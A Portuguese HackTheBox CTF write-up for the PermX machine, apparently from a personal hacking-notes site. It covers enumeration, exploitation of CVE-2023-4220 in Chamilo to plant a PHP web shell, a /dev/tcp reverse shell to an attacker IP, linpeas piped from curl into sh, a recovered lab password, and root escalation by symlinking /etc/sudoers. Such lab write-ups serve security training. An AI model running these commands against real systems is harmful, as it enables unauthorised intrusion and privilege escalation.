> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md).

# Relato do HackTheBox PermX

{% embed url="<https://app.hackthebox.com/machines/PermX>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração de subdomínios
* Exploração do Chamilo
* Sistema de enumeração LINpeas
* Escalonamento de privilégios do sudoers (permissões alteradas no arquivo /etc/sudoers)
  {% endhint %}

## Reconhecimento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/b0cc591673a222ca4ddfaefe850c4d31d8251c48" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/1fe2f0686f8845985a6ddee7a3600336ae0a29c8" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts
```

<figure><img src="/files/a55fc7d6e00902631eb8b3a55afb4e190af443f4" alt="" width="563"><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="/files/7a57e620eadf6824a6d99f1e88d5e20beb8d37ec" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,22 10.10.11.23 -oN targeted
```

<figure><img src="/files/94ad2c16d65b23ec495a559d25827173a4763c74" alt="" width="563"><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, insira o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

<figure><img src="/files/b6641938ad15fbbae668fa2b6b8c8d04cce599db" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3e390562bc3e6361e08830762fb864f402e4229a" alt=""><figcaption></figcaption></figure>

**Procurando possíveis diretórios com o Gobuster:**

Usando o Gobuster para escanear possíveis diretórios no site com o arquivo de listagem de diretórios Medium.

```bash
gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="/files/88637638a576295041c73790733c047a0bc39adf" alt=""><figcaption></figcaption></figure>

**Busca de diretórios com Gobuster:**

Use **Gobuster** com um dicionário para encontrar arquivos de acesso ocultos.

```bash
gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk
```

<figure><img src="/files/6b4b598b0639b248c129e2bdd1e9bffa50e1f6f6" alt=""><figcaption></figcaption></figure>

### Enumeração de subdomínios

Para enumerar os subdomínios de um site usando a ferramenta Wfuzz via terminal, você pode usar o seguinte comando:

{% code fullWidth="true" %}

```bash
wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb
```

{% endcode %}

<figure><img src="/files/5eae6c9bd60077b21057396547f37b50466e0750" alt=""><figcaption></figcaption></figure>

Certifique-se de atualizar o `/etc/hosts` arquivo para incluir os subdomínios descobertos:

<figure><img src="/files/eb8eeaab85b54c39b36160be342fd086245dc69c" alt="" width="563"><figcaption></figcaption></figure>

{% embed url="<http://lms.permx.htb/>" %}

<figure><img src="/files/cf9265c1f108690e7d6003d750207150bbb146fd" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade do CMS Chamilo:

O Chamilo apresenta uma vulnerabilidade, identificada como CVE-2023-4220, permitindo execução remota de código (RCE). Para explorar essa falha, você pode usar o seguinte script disponível no GitHub:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Clone o repositório do GitHub:

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Faça uma verificação para ver se a vulnerabilidade está presente no alvo:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/309aae52d49498e220e770407c3ed8f7819c9189" alt=""><figcaption></figcaption></figure>

### Shell web:

Se a vulnerabilidade estiver presente, injete um **Web shell em PHP** no Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/bbecd7e3f626fa9b5a7571b07de17e1218540934" alt=""><figcaption></figcaption></figure>

Depois que a web shell for injetada, você poderá executar comandos na máquina alvo.

<figure><img src="/files/211505f767cc735773d5f78147e0300eb9e4a336" alt=""><figcaption></figcaption></figure>

### Shell reversa:

Para estabelecer uma conexão de shell reversa e obter acesso à máquina, execute o seguinte comando no seu terminal:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Em seguida, escute na porta 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/cd9d02f04acd9bf9b752f0bc7014c515bc9fe6e9" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégios

**Enumeração do sistema (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Usamos o Linpeas para reconhecimento de privilégios:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/a7db4a47433cb1667b73a1ecd43d935d47b3fe6a" alt=""><figcaption></figcaption></figure>

**Descoberta de um novo usuário:**

Durante a enumeração, identificamos um novo usuário chamado `mtz`.

<figure><img src="/files/a781dd9ad58bde10ff4233f467db633d82e99df7" alt=""><figcaption></figcaption></figure>

**Recuperando uma senha:**

A seguinte senha foi encontrada:

<figure><img src="/files/f582b64f85329cfbd59bdbe12dc0316437638d11" alt=""><figcaption></figcaption></figure>

```bash
mtz:03F6lY3uXAP2bkW8
```

<figure><img src="/files/93fd5cee4ca3cbeb93d117e85793ebf600dbb308" alt=""><figcaption></figcaption></figure>

#### Flag user.txt:

<figure><img src="/files/2b6f660f9e8f7dba5ca2f517049233d614a91e0c" alt=""><figcaption></figcaption></figure>

### Sudoers:

Executando o `sudo -l` comando, descobrimos que temos a capacidade de executar um script como **root**.

```bash
sudo -l
```

<figure><img src="/files/e8899391d50a6901f6036ae3191da9d97809fc29" alt=""><figcaption></figcaption></figure>

Este script Bash modifica as permissões de acesso de um usuário em um arquivo específico usando ACLs, após verificar a validade do caminho e se o alvo é realmente um arquivo.

<figure><img src="/files/50f2989eb20534cba0c6713c0c1a861520a48749" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b15fbc7ff48582ad08dd49ba65aa5156c3c62642" alt=""><figcaption></figcaption></figure>

Por fim, vamos conceder ao usuário mtz permissões de leitura e gravação no arquivo

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

Ocorre um erro porque o arquivo deve estar localizado em nosso `/home/mtz` diretório

<figure><img src="/files/be5262da544ea96c2b44857b14b4a6ea9fedaf08" alt="" width="535"><figcaption></figcaption></figure>

Como alternativa, pode-se criar um link simbólico de um arquivo do sistema para o `/home/mtz/` diretório e executar o script nesse link.

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="/files/e897513fc39f411bba126fc6f2fa5b2d21cc1f26" alt=""><figcaption></figcaption></figure>

Precisamos editar o arquivo "sudoers/\_link", o que atualizará o arquivo sudoers, para conceder direitos totais ao usuário mtz.

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="/files/8ffe8e59efcf01219910617a8491bf1582720496" alt=""><figcaption></figcaption></figure>

### Flag root : ) <a href="#flag-root" id="flag-root"></a>

<figure><img src="/files/732fbf6ee03addc368f2ee7642ba140d9ec12201" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/80cfb318faee0216e48580b4989b7fabf910fa0d" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
